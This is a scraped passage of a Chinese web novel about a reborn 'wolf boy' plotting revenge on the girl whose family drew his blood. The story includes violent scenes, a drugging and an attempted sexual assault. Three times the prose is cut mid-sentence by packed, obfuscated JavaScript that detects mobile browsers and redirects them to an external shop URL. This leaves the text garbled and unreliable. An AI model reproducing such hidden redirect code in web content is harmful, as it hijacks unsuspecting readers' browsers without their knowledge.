例假来了,徐知画躺在床上,痛得翻来覆去死去活来。 这是徐知画之前没有过的体验,那时在网上看到有人说来例假,痛到要叫120拉走,她还觉得太过矫情、是夸大其词了。 但现在轮到这具身体,感受到了极致的疼痛,徐知画为之前的偏见忏悔。 这是什么样的感觉呢? 呕吐、拉肚子、冒冷汗、发抖、发晕,不同的症状同一时间齐现,痛到浑身痉挛,恍若下一秒就要去见阎王爷。 哪怕徐康荣煮了中药喝还有针灸效果都不是很大。 “哕——” 徐知画蹲在地上,抱着一个痰盂,吐得昏天暗地,冷汗涔涔,整个人就像是从水里捞出来一般。 “怎么会痛成这样!”蔡淑芬在旁急得团团转,不满地捶打着徐康荣的肩膀,“你这学医不精,赶紧再想别的法子,要不送去镇上卫生院?” 一想到那条颠簸的黄泥路,徐知画觉得自己会死在半路上。 “不要去卫生院,哕——”徐知画缓了缓,虚弱地说,“可能睡一觉会好点。” 说着放下痰盂,爬到床上,用被子裹成茧,保证一丝风都吹不进来。 “我再想想办法。”徐康荣挠着头推轮椅出去了。 蔡淑芬看着她苍白如纸的脸色,站也不是,坐也不是,灵光一闪,找刘白去了。 “快快快!”蔡淑芬推着刘白来到厨房,撸起袖子,熟练地在他的手臂上用刀一割,用碗接住流出来的血。 差不多接了半碗,来不及再做其他掩饰,便急吼吼地端去给徐知画。 “龟妹,来,喝了可能就不痛了。”蔡淑芬将徐知画扶起,作势要喂她。 徐知画以为是药,闭着眼喝了一口。 咸甜咸甜的腥味一瞬间溢满了整个口腔,徐知画睁开眼,见是血,蹙眉问道:“又杀鸡了吗?” “可不是,杀鸡给你好好补补,人家说缺血补血,赶紧喝了。”蔡淑芬故作自然道。 或许真能缓解痛意。 死马当活马医,秉着这样的念头,徐知画忍着恶心一口闷了。 直躺、侧卧、坐起、跪趴……尝试了很多姿势,最后她平躺在床上,两只脚掌相对,膝盖向外打开,双手揉着肚脐传输热气,慢慢调整呼吸,总算感觉活过来了一点。 * “记住不要被人发现。”蔡淑芬边提醒边熟练地给刘白上药包扎伤口,好在现在天气冷,穿着长袖不会被看到。 刘白点点头:“我不会被人发现的。” 蔡淑芬满意地看着他,问道:“刘白,你想不想和龟妹结婚?” 结婚? 和徐知画吗? 一想到和她睡觉觉生崽崽,一种异样的感觉从心头升起,说不清道不明,但他知道自己是期待欢喜的。 “我想要和龟妹结婚!”说完,刘白的心扑通扑通跳个不停,傻乎乎笑起来,“我要她当我老婆。” “那你可要一辈子对她好,不然我饶不了你。”蔡淑芬说。 “我会一辈子对她好。”刘白拍着胸脯保证道。 “行,那你干活去吧。”蔡淑芬挥挥手。 “好咧。”刘白迈着欢快的脚步,打算洗衣服。 本来刘白是只需洗自己的就行,但想到徐知画以后是自己的老婆了,看她的衣服在旁边,于是顺手也拿去洗。 这会儿天还很冷,但井水是暖的,人们比较偏向于去大井边洗衣服,刘白不喜欢那些长舌妇问东问西烦人得很,所以喜欢去河里洗。 图清净。 放下木盆,刘白先将衣服放在水里揉搓掉表面的泥垢,当拿起徐知画的裤衩和裤子,看到一大片血迹时,他愣了愣。 她受伤了吗? 怎么会受那么重的伤? 好像她昨天今天也没干什么啊。 各种猜测在脑海中浮现。 刘白想立刻回去问清楚,起身太急,一个没注意,脚踩到一块光滑的石头,身体失了平衡,整个人摔进了河里。 “咕噜噜——咕噜噜——” 他在水中挣扎着。 冰冷的水一下子从四面八方灌进他的耳朵、鼻子、嘴巴,涌进喉咙、气管,冲进肺部,每一次呼吸都困难无比,视线变得模糊不清。 脑袋像针扎般疼。 他好像看到了另一个自己,在过着另一种人生。 痛苦——无知——迷茫——期待——折磨——新生——背叛——死亡。 种种感觉,种种体验,是他又不是他。 他不想死! 意志在这一刻突破重围,刘白拼尽最后一丝力气,游啊游,游啊游,“哗啦”一声,终于破出水面。 呼吸到新鲜的空气,刘白大口大口喘着气,心中一片混沌,竟分不清此时所见的一切是真的还是假的。 他就像一片孤舟,在水中飘啊飘,好久好久,他的思绪才重新启动,慢慢向岸边游去。 刘白气喘吁吁地倒在沙草上,仰头看着蓝天,很想痛骂上天不公,可千言万语,最后汇聚成一串夸张且悲凉的笑声。 人死复生,从头再来是一种什么样的体验? 刘白说不清现在是什么心情。 即使命运的轨迹发生了一点点改变,但他还会重复过去的结局吗? 在那个前世—— 记忆回到第一次下山那天,他也是被人类追啊打啊抓啊,和徐知画的第一次见面并不是在万兽山下,而是在她的家里。 当时他被绑着让徐康荣治疗,徐知画像是个傲娇的小孔雀站在面前,捂着鼻子满是嫌弃,高高再上地说:“他好凶残,打死得了!” 他感受到恶意,嚎叫了一句,吓得她当场软了腿跌坐在地上,眼泪说流就流。 而维护她的家人们见此,又赏了几棍给他,伤更重了。 等处理好伤口,他的去处成了问题。 大家推三阻四不想收留他,后来是大队长拍板住他家。 然而刚开始他野性难驯,视人类如仇敌,搅得家宅不宁,等那领导下乡参观完,他立马被丢进了一件废弃的小屋,自生自灭。 当时他已意识到自己是人类,自是不会再回森林当孤狼。 想要融入人类生活,就要学习人类的语言、行为、习惯等。 他最会伏低做小、审时度势,知道面对弱者时,人类会放松警惕。 于是,他装出一副可怜兮兮的模样,时不时挨家挨户敲门要吃的,摸清了光荣大队的地形和人口。 人类的社会很奇怪,处处讲秩序、规则,但有时又好不讲道理。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13878625|142840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 总有人一边说害怕他,一边靠近拿石头扔、拿棍子打他,他若是反击,就说他是坏蛋,要消灭他。 可明明是他们先动的手,为什么被指责只有他? 那时他不明白那些恶意从何而来。 后来他知道了,有时人类坏起来,根本不需要什么理由。 有些坏种想欺负你,没有为什么,单纯只是想欺负,或者只是因为当下,他能发泄脾气、能欺负的只有你。 或许是看他可怜,大队长让他学着人类的样子,上工分粮吃。 他很聪明,也很好学,在见到他力大如牛、干活利索后,有好些社员在不触及自己利益的情况下,很乐意去教导、帮助他。 他的生活过得也算有滋有味。 那时他和徐知画的交集并不多,只知道这个人是个脾气大的药罐子,大队的人都很爱在背后议论她的八卦。 许是看出他能干又爱吃,徐知画为了逃避劳动,用糖果来贿赂他暗地帮忙干活。 他欣然同意了。 两人狼狈为奸,各有所图。 日子就这么一天天过去,直到有一天,听说徐知画上万兽山探险寻宝走失了,迟迟没有回来,她的家人急得不行,号召全大队的人帮忙去找。 他听到后,出于对糖果的渴望,决定上山找她。 万兽山于人类来说是秘境险林,但对于他来说是最熟悉的地方。 他召唤来一只乌鸦,很快锁定了徐知画的位置。 找到人时,徐知画正拿着根棍子和一头野猪搏斗,小小身躯被撞飞到了空中,再重重坠落到地上。 见此,他赶紧上前抵住野猪,一拳又一拳砸过去…… 野猪被打死后,他见徐知画血流不止,背起狂奔,因为速度够快,及时送医,保住了性命。 事后,不知道为什么,他和徐知画的谣言越来越多。 好多人说他背了摸了徐知画,就要对她负责,要和她结婚生崽崽。 可是,当时如果不那样做,他怎么救她回去呢? 徐知画对此很生气,不理不睬了他好多天。 谣言愈演愈烈,徐知画的亲事一再耽搁。 蔡淑芬过来找他,问愿不愿意当上门女婿,说以后都会一起吃一起住时,想到甜滋滋的糖果,他很爽快地答应了。 他有了一个名字,叫【徐根】。 徐是徐家人的徐,根,即不要忘本。 只是没想到,这为他以后的生活奠定了悲惨色彩,是悲剧的开端。 徐知画不喜欢他。 徐知画抗拒这门亲事。 她面目狰狞、歇斯底里、怒不可遏:“你是癞蛤蟆想吃天鹅肉!我才不要嫁给你!如果没有镜子,麻烦撒泡尿照照自己!” 字字句句像是把刀般,往他心脏刺了一刀又一刀。 他也是那之后才知道原来言语可以伤人心痛至极。 糖果,是进了他们的门后,他再没吃过。 徐知画是恶魔,以折磨他为乐,他越不开心,她就越开心。 而徐家人都是帮凶,他们囚禁他、打骂他,还将他当是徐知画的血包。 他不明白不喜欢就不喜欢,他也没想着要强求,为什么要如此对待他? 好在终于有一天,他寻到机会,逃出了这个“魔窟”。 43. 病秧子X狼少年 【抱冤仇!除仇恨!】 这一刻,刘白的大脑被这一念头所占据。 他大步流星,面容阴郁,紧攥着拳,周身散发出来的戾气一看就不好惹。 路上有人远远看到刘白这副模样,还猜测着谁惹恼了他,赶紧闪一边去。 刘白一路通畅无阻,很快就回到了家里,四周静悄悄的,周淑芳找神婆去了,徐康荣在房间里研究着治疗痛经的方子,其他人不是下地就是上山去了。 站在徐知画的房门口,推门,走进去。 徐知画紧闭着双眼躺在床上,眉头紧皱,一绺一绺头发被汗水打湿,湿漉漉地黏在脸上,眼角泪痕明显,难受的表情像是在遭受着什么痛苦。 刘白恨极了徐知画,眸中想要灭亡一切的怒火在肆意燃烧着。 她该死! 视线从上往下移,刘白一眨不眨地盯着徐知画纤细白皙的脖颈,手不由自主放上去。 她的脖颈是如此柔弱,像是番薯叶的梗,轻轻一折就会断。 想到过往暗无天日的折磨,厌恶如滔天海浪涌上心头,刘白修长的手慢慢收紧,指尖感受到了脉搏的跳动…… “刘白啊,我要喝水。”徐知画迷迷糊糊着睁开眼,口腔中那股咸腥味怎么都压不下,恶心感翻涌上喉咙,她不自觉咽了咽。 看到来人,徐知画没察觉到刘白所散发出来的恶意,还以为他是关心自己,来照顾自己的。 “你让开。” 徐知画倏地一把拍开他的手,弯腰弓背下到地,立马抓起旁边的痰盂一阵接着一阵吐起来,刚喝下的血全被吐出来后,胃部空空,干呕连连。 但总算好受了许多。 放下痰盂,徐知画保持着蹲姿,双手抱着双腿,恨不得把自己蜷缩成一个球,这个姿势也能稍稍缓解痛意。 这会儿的她,根本无暇顾及体面、精致和干净。 小小的一团,刘白估计着一脚就能把她踹死。 “快点,我要水!”徐知画有气无力催促道,见他没有动作,一暴躁就愈痛,愈痛就愈暴躁。 【这样杀死她太无趣了,要留着慢慢折磨,把她那些手段一一报复回去,让她跪地求饶,在希望与绝望之间徘徊,想想一定会很有趣。】 一瞬之间,刘白收起眼中的狠厉,换上那副人畜无害的神态,慢悠悠地去倒了杯水。 “给。” 徐知画拿过碗,痛痛快快地漱净口中的异味。 刘白看着痰盂的血,想起伤口还发痛的手臂,总有一天要叫她还回来。 他要好好规划未来,对前世那些仇人先下手为强,也叫他们尝尝什么叫死无葬身之地。 现在,且先蛰伏着吧。 徐知画重新躺回床上,哪怕一脸病容,出水芙蓉的美丽还是让人难以忽视。 有多美,就有多毒。 菩萨面,蝎子心。说的就是她。 和她结婚? 这辈子他是昏了头才会和她结婚! 她想像上辈子那般享尽荣华富贵? 做梦去吧! 刘白没有心思再探究徐知画受了什么伤、生了什么病,悠哉游哉重新去到河边,仔细洗干净自己的衣服,而徐知画的衣服,随便搓几下就捞起拧干,才不管有没有洗干净。 而后,刘白往万兽山走去,抓了一只野鸡,自己烤来吃饱后,找个山洞睡了一觉,等到天差不多黑了,才端起木盆回去。 一回到家,蔡淑芬往他的手里看了看,没见到有猎物,脸色一沉,责问道:“怎么今天回来那么晚?晚饭都没做!” 刘白低着头装出温驯的样子,讷讷道:“我,我手受伤了,疼。” 蔡淑芬想到今天放血的事,理亏心虚,不敢让家里其他人知道,小声骂道:“之前就算流了血,你也没喊过疼,下地打虎不成问题,怎么今天就喊疼?!” 刘白没再作声,只捂着受伤的胳膊,委屈巴巴。 “算了,赶紧洗手过来吃饭。”蔡淑芬没再追究他今天的偷懒。 * 晚上,那股电钻钻肉似的痛意总算是停止了。 当徐知画看着自己未洗净的衣服,且得知是刘白洗的时候,尴尬得恨不得有消除记忆的魔法,恨不得找个洞将自己埋了。 好在之后刘白也没有什么反应。 你不提,我不提,此事就此掀过。 而自这天后,刘白的变化徐家人也看在眼里。 蔡淑芬感受最深——刘白变精明了。 之前叫他做饭扫地什么的,说干就干,现在磨磨蹭蹭,会偷懒耍滑了。 对徐家人的态度也不如以往恭敬有爱。 狩猎回来的次数少了。 自己赚的工分不愿再全部上交让她保管。 和别的女人还说说笑笑拉拉扯扯,没有注意分寸。 …… 他这一个个变化,就是十个手指都列举不完。 蔡淑芬背地找刘白谈话:“你还想不想娶龟妹了?你再这样下去,我可不会把她嫁给你!” 刘白双手一摊,无所谓道:“不嫁就不嫁,我也不想娶。” 见他这个态度,蔡淑芬是锅灶上天——气炸了! 正想动手教训他一顿,没想到双手猛地被反剪,刘白阴恻恻地警告道:“下次再想打我,我可不会手下留情。” 有那么一刻,蔡淑芬感受到一股邪恶的气息,他是真的想杀人,不只说说而已。 横的怕愣的,愣的怕不要命的。 刘白暴戾的气势压过来,蔡淑芬就怂了,到底没敢再将他怎么样。 毕竟真打起来,她不是他的对手。 既然他不听话,蔡淑芬又升起了想将刘白从家赶走的念头。 * 徐知画觉得最近刘白像变了一个人。 有时他看她的目光,像在看有着血海深仇般的仇人。 有好几次,徐知画感觉他想杀死自己。 可再定睛一看,他眼眸中那股杀气就消散了,仿佛这不过是她的错觉。 “刘白,专心点,这道题的解题思路应该……”徐知画在纸上画画写写,仔细讲解着题目。 “我将来不想当物理学家。”刘白突然开口,打断了她的思路。 “你以后要当个物理学家。”徐知画皱了皱眉,坚定地说。 “这是你想的,不是我想的。”刘白冷哼,抬手将桌面的物理作业横扫到地。 他环抱着双手,身子往后一靠,双腿叉开坐,微挑着眉,带有几分挑衅的意味。 那傲慢无理的样子,仿佛是个步入青春期,别人说什么,非要反着干的叛逆少年。 孩子不听话,打一顿就好了。 这是徐知画从徐钰燕那学到的育儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13890444|142840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宝典。 她小时候贪玩不想学习,就是在棍棒教育下才能成才。 正想找来竹条教训刘白一顿,谁知反被轻轻松松夺了去。 如今刘白可不会像个傻子一样,骂不还口,打不还手。 他抢过竹条,拉过徐知画的手,学着她之前的样子,狠狠地在手掌上抽出了一条又一条红痕。 “啊!!!你放开我!”徐知画想挣脱他的束缚,但力量悬殊,根本无从反抗。 掌心火辣辣地疼,这久违的感觉并不好受。 徐知画两行清泪不受控制从眼眶滚落,好几滴滴落到刘白的手背上,他顿了顿,停下动作。 “还想不想打我?”明明是报了仇,但看到她因痛落泪,刘白并没有感到畅快之意,反而像是有块石头堵在心间,闷闷的。 “你不听话还打!”徐知画红着眼、流着泪、撅着嘴,满脸倔强。 举起的竹条忽然落不下去了。 刘白简直要被气笑:“你的话就是真理吗?我当不当物理学家关你什么事?” “就是关我的事!”徐知画仰起头,艳丽的五官灼灼逼人,看上去楚楚可怜,眼神却射出倔强之意。 “呵——” 刘白双拳捏得咯咯作响,怒火一下子窜至天灵盖,咬着牙问:“如果我不当物理学家,你又怎样?” 他现在的逆反心理太过,打又打不过,徐知画强迫自己静下心来思考,该如何将他劝导回正途——好好研究物理。 “算了,你不当就不当吧。”徐知画决定先缓一缓,抽抽鼻子,清清嗓子,说,“但你还是要学习,准备高考,要上大学。” 知识就是力量。 刘白知道后世对学历的看重,对此倒没有异议。 “知道,我会好好学习其他科目。”刘白烦躁道,“你不要有空没空就跟我讲物理,我不喜欢物理!” 看他现在是打心底厌烦物理,徐知画的心拨凉拨凉的。 怎么会这样? 他怎么会不喜欢物理呢? 徐知画想不明白。 而在刘白看来,虽说她有所图,但从某些方面来说,他得到的好处是实打实的。 与之虚与委蛇很有必要。 像今年恢复高考,刘白知道她是有能力考上大学的,但为了辅导他,竟愿意再等一年。 她说要和他一起上大学。 感动吗? 并没有。 如果她知道真相。 一定会翻脸,像前世那样,不会有好脸色给他。 徐知画打的什么主意,刘白是心知肚明,但他不会揭穿。 这出戏,他一定会陪她好好唱下去。 等羽翼丰满,有权有势,站在顶端,别人再不能将他当面团揉捏时,他会毫不留情,像碾死只蚂蚁一样,碾死他们! 刘白松开她的手,将竹条掰成一截截,丢到她的脚边,接着挑眉看了她一眼。 徐知画明白,这是对她不满的反抗。 头疼! 徐知画是生怕刘白误入歧途,影响自己的回家之路,如果可以,她还是希望能快点回到2024年的。 可就像是当初徐钰燕逼她学物理,那些知识点怎么都塞不进脑袋,如今的刘白亦是。 想着想着,一股悲伤像漫起的水,一点点将她淹没。 心累! 44. 病秧子X狼少年 刘白硬气起来,不再任人予取予求,还对想招他为婿的蔡淑芬放话道:“就算这世上的女人都死绝了,我也不会娶你的女儿。” 那时他语气笃定,表情又太过狠戾,仿佛和徐知画结为夫妻是件多令人作呕的事,一下子将蔡淑芬想要培养二十四孝女婿的心思砸得七零八落,就此断了念头。 冤家宜解不宜结。 蔡淑芬不再对刘白呼来喝去,默默将他从女婿名单上剔除,庆幸着当初没有大张旗鼓宣扬想要他当女婿的话。 饶有默契的,两人达成了和平共处原则,没什么大冲突的话,一般不会发生什么冲突。 不过,有一件事,还是有求于他。 在又一个农历十五的到来,蔡淑芬照常来找刘白放血。 刘白却不愿再当血包,在争执之中,声响过大,引来了徐知画。 了解到前因后果,徐知画想起每次喝的“鸡血”,竟是人血! 她简直要崩溃了。 对上刘白似笑非笑嘲讽的神情,算是利益既得者,徐知画登时脸涨得通红,愧疚、心虚、不安、恶心、生气等等情绪在脑海里翻涌。 最后她干瘪瘪憋出一句:“对不起。” “呵,以后我不会再给你血喝。”刘白冷冷地说道。 他眼神中的恨意几乎要凝成实质,好似下一秒恨不得化作刀刃将她碎尸万段,蔡淑芬挺身而出挡住徐知画,说:“有什么不满冲我来,你身强力壮的,血那么多,给龟妹喝点怎么了?小气吧啦的。” 蔡淑芬坚定地认为刘白那熊猫血对徐知画就是有用,喝了能延年益寿、强身健体,举着刀还伺机在刘白手臂上放血。 徐知画拽着蠢蠢欲动的蔡淑芬:“妈,你不要再说了,我不会再喝他的血。” “要喝!”蔡淑芬着急起来。 “不喝!不喝!”徐知画拉着她往外走,好说歹说甚至以死相逼才打消了她的念头。 而这之后,抱着补偿赎罪的态度,徐知画对刘白的态度越发纵容起来。 1978年6月22日,农历五月十七,正值夏至,亦是刘白的生日。 在徐知画的组织下,生日会搞得有声有色,且经过多次实验,她和祝安还弄了一个蛋糕,卖相不算精致,味道也不甚美味,但在这年代,算是一个稀奇物。 一首生日歌唱罢,在摇曳不定的烛火中,对面徐知画明晃晃的笑容映入眼帘,只听她催促道:“快许愿。” 之前刘白也过了两次生日,1976年的愿望是天天有好吃的,1977年的愿望是不用学物理。 一个实现了,一个还没有。 现在1978年的生日会上,刘白看着言笑晏晏的众人,前世的那些伤痛好似一点点被抚平,他在心里默默许下:【希望有人爱我,只是因为我是我。】 “你许了什么愿望?”徐知画问。 “愿望说出来就不灵了。”刘白用她之前说过的话搪塞道。 徐知画:…… 还想暗戳戳帮他实现愿望来着,看来要另辟蹊径套话了。 不过刘白这次是真嘴硬啊,徐知画后来旁敲侧击好多次,愣是没套出一点蛛丝马迹。 关于生日愿望的事,也就不了了之了。 在一次课后,刘白忍不住问徐知画:“如果我不是刘白,你还会收留我吗?” 那时徐知画转头看向他,斩钉截铁地说:“如果你不是刘白,我瞅都不会瞅你一眼。” 见他面有戚戚之色,徐知画语调软了些,鼓励道:“你就是刘白,别多想,现在读书是你的本分,好好学习,天天向上。” “知道了。”这话并没有劝慰到刘白,听了还是一副闷闷不乐的死样。 随后他自嘲地笑了笑,她对自己的好一直都是有条件有所求的,一直都知道的事实,在别扭什么呢? “你在不开心什么?”徐知画没get到他突如其来的悲伤。 “没什么。”更多的心事,刘白是不想跟这个无情的女人诉说。 * 时代洪流滚滚,1978年11月,家庭联产承包责任制拉开了农村改革的序幕,这一举措大大提高了农民的生产积极性。 先前上工时,徐家人或多或少会见缝插针偷偷懒,但是现在,自家分配到了田地,徐天瑞和蔡淑芬恨不得二十四小时都扎根田地,除草松土施肥抓害虫等等,看着所种的农作物随着时间的流逝变大变成熟,家人们别提有多高兴了。 之前还限制家里养鸡养鸭的数量,但是现在有条件的,养个十几二十只不是问题。 蔡淑芬为此在后山开荒了一片地专门养家畜,餐餐有荤素。 一家人齐心协力拧成一股绳,日子是越过越好。 开始见他们又是盖房又是打井,老不死上蹿下跳想占多多便宜,但自去年徐天瑞的爸爸去世后,消停了许多,没有再那么理直气壮地要求多多粮食。 年轻的时候鼻孔朝天瞧不起人,年老了想修复关系从中获利,世上哪有那么好的事情。 蔡淑芬觉得现在家里的条件好了,没有像老不死以前那样见面时都要吐一口唾沫呸人,已经是仁至义尽很厚道了。 两家对比之下,差距越来越大,老不死心理不平衡,又不能明目张胆搞破坏,只能天天背地诅咒他们喝水呛死,走路摔死,被鬼吓死等,幻想着有天财神好运也能眷顾她家。 这一边,一年又一年过去,徐宝珍攻略刘白的进展是毫无进展,一次遇见老不死在和蔡淑芬争执着什么,她听了几嘴。 原是老不死想给徐知画介绍对象,而蔡淑芬没有领情,两人就吵起来。 徐宝珍计上心头,在蔡淑芬走后,追上老不死,摆出和她站在同一阵线的态度,说了几句蔡淑芬一家不识好歹的坏话,两人很快熟络亲近起来。 越聊越起劲。 徐宝珍前面絮絮叨叨铺垫了许多,后来见她放松戒备,状似无意提起:“女人贞洁最重要,我听说隔壁大队有个知青,就是没了清白,嫁给当地的社员,哪还管什么父母之命,媒妁之言。娟婆,你有没有听说过这件事?跟我说说。” 老不死一听,是这么个道理,这世道饿死胆小的,撑死胆大的,想到徐知画赚钱的才能,再一次狠狠心动了。 抓奸成双,等有了夫妻之实,嫁人就是板上钉钉的事了。 只不过徐宝珍想的是将陈豫周和徐知画捆绑一辈子,而老不死则想到娘家侄子正好缺个能干的老婆。 见老不死阴恻恻地笑起来,徐宝珍也阴恻恻地笑起来。 这天晚上,扫盲课刚开始没多久,刘白肚子突然奇痛,咕噜噜翻江倒海着,大有一泻千里之势。 “报告!”刘白纠结几番,还是举起了手,“我想去上厕所。” “去吧。”正在讲课文的徐知画抬抬下巴。 刘白狂奔回到家,冲进厕所,痛快淋漓地解决了人生便事。 出了门,洗了手,刘白打起了偷懒学习的主意,趁夜色,打算去田里抓青蛙爆炒来吃。 徐知画直到讲完了课,都没再见刘白的人影,想着回去之后一定要赏他一顿竹笋炒肉。 社员们收拾好课本纷纷告别,徐知画慢悠悠地擦完黑板,锁好门,一个人提着煤油灯走在小路上。 徐宝珍一看,机会来了。 而老不死的侄子跟踪踩点了好多天,终于在今晚等到了落单的徐知画,摩拳擦掌,躲藏在暗处,像个鬼魅般等待着时机,想着将她拖到偏僻之处,任由自己为所欲为。 虽然这条路走过好多遍,但一个人静悄悄的,恐惧在心头放大,所望的影影绰绰好似阿飘摇摇摆摆,一阵冷风吹过,那股诡异的感觉更加强烈了。 徐知画不由得加快脚步,默念着:“富强、民主、文明、和谐……” 身后突然传来脚步声,一只温热的手倏地捂住了她的嘴巴,不管是人还会鬼,此时此刻,徐知画吓得肝胆俱裂,拼命挣扎起来。 带着浑浊酒气的男人粗喘着气,禁锢拖拽的力道大得惊人,徐知画抓住手腕,用力一咬。 “艹!看我不□□你!” 脖颈被勒得紧紧的,窒息和恶臭感让她直泛恶心,晕眩阵阵意识渐渐模糊…… 徐宝珍紧赶慢赶,见那男人扛着徐知画丢在了草堆后,解着裤腰带,她举着木棒悄悄靠近,“嘭!”一下敲下去,正中脑袋的男人动作滞了滞,身形一晃,晕倒到地。 “臭男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14006807|142840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人!”徐宝珍抬脚踢了踢,又踹了踹,随后马不停蹄气喘吁吁地将徐知画扶到废弃的屋子里,炕上躺着同款昏迷的陈豫周。 虽然刚才若放任徐知画被那野男人玷污结局肯定也很痛快,但徐宝珍更愿意看到徐知画走自己前世走过的路,经历自己曾受过的苦。 陈豫周这样的烂人,正好可以将徐知画拉下泥沼成烂货。 徐宝珍麻利地将下了药的水给两人灌了几口,将徐知画放到陈豫周的身上,随后观察四周,见没留下什么蛛丝马迹,才提着煤油灯起身离开。 * 身体燥热无比,徐知画难受着醒过来时,摸到身下的人体吓了一个激灵,虽看不清是何人,但尽快远离这个地方为上。 “你是谁?” 正欲起身的徐知画又被拉了回去。 底下的人压了个闷哼。 “陈豫周?” 徐知画试探着问出口。 “徐知画,是我。”熟悉的感觉在冲击着理智,血液在沸腾,欲念涌至下腹,陈豫周克制着将她推了推,“你不要冲动。” “我没有冲动,是你不要冲动。”徐知画从他身上爬下来,摸索着往外走去,“不是你把我抓来这里的吗?” “不是我。”陈豫周感到很冤枉,他好端端地走在路上,不知道被人当头一棒,醒来就来到这里了。 “要赶紧出去。”这一幕似曾相似,陈豫周隐隐猜到是谁下的手了。 门被锁住了,窗子亦是。 徐知画没再说话,整个人狠狠撞着门,陈豫周见此,也加入撞门之队。 好在这扇门并不牢固,两人再一次合力一撞,成功撞开,齐齐摔到了门外。 徐知画顾不上擦伤的手臂,踉跄着爬起来,借着月光,茫然地看着周围。 “你家往这条路直走,就会看到那棵大榕树了。”陈豫周担忧道,“要不我先送你回家?” “不,不用!”徐知画想到拖拽她的那只大手,赶忙拉开了两人的距离。 明白她现在的心理,陈豫周没有再上前,见她越走越快,越走越快,因怕再出现什么事故,只远远地跟着。 路边稻田处蓦地钻出来一个黑影。 “啊!!!”本就疑神疑鬼心惊胆战的徐知画冷不丁吓了个哆嗦,跌坐在地上。 刘白以为徐知画是来找自己的,将装有青蛙的袋子往后藏了藏,决定先发制人,说:“我现在去教室的路上,没想到你们都下课了。” “刘白,带我回去。”见到熟人,徐知画像吃了定心丸,紧绷的神经放松下来。 “走吧。”刘白想让她走在前面。 陈豫周见到来人,放心地往反方向回知青点。 徐知画咬了咬舌尖保持清醒,刚站起来走没几步,突然一脚踩空,眼见要摔倒,刘白眼疾手快捞起她。 “你离我远点。”徐知画嗅着他身上的气味,难耐至极,心底有个声音暗暗在鼓动着要做些什么。 太不正常了! “你怎么了?”刘白发现了她的不对劲,然而刚松手,发现她站都站不稳,又赶紧握紧了她的肩膀。 固定住。 “难受……回去……快回去……”徐知画东歪西倒,猛地一头扎进他的怀里。 刘白让她靠在胸膛上,抬手摸了摸她的额头,摸出一手汗,发热发烫,他心里一紧,拦腰抱起,往家里赶。 徐知画感觉抱了一个冰柱子,冰冰凉凉的,作乱地蹭来蹭去,想要汲取更多的凉意。 “徐知画!”颈侧被舔舐着,微痒略湿,一阵酥麻感自尾椎骨腾起,刘白本像是疾速前行的车,猛然间顿了顿,来了个紧急刹车。 “嗯~” 理智不存,所有动作皆出自本能,徐知画双手箍紧刘白的脖子,像只小猫用脑袋拱着人,见他有阻止的动作还烦躁地用拳头锤了锤。 这陌生的情潮让他满是不适。 明明之前带徐康荣和祝安的孩子大福时,也有过类似的啃咬动作,但感觉就是不一样。 怀中的徐知画就像是什么棘手的物件,甩又甩不开,丢又丢不得,怀疑她是烧坏脑了,刘白在心中呐喊: 【死腿!走快点啊!】